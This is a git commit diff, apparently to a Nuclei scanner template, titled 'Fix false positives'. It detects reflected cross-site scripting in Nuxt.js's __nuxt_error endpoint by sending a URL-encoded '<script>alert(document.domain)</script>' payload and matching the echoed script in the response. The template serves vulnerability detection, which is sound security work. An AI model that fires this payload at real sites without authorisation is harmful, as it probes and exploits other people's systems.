Fix false positives
parent
d05a1cd192
commit
c68fc3215f
|
@ -17,17 +17,20 @@ info:
|
|||
fofa-query: body="buildAssetsDir" && body="__nuxt"
|
||||
tags: huntr,xss,nuxtjs,error
|
||||
|
||||
variables:
|
||||
payload: "<script>alert(document.domain)</script>"
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/__nuxt_error?stack=%0A<script>alert(document.domain)</script>"
|
||||
- "{{BaseURL}}/__nuxt_error?stack=%0A{{url_encode(payload)}}"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "<script>alert(document.domain)</script>"
|
||||
- "{{payload}}"
|
||||
- "window.__NUXT__"
|
||||
condition: and
|
||||
|
||||
|
|
Loading…
Reference in New Issue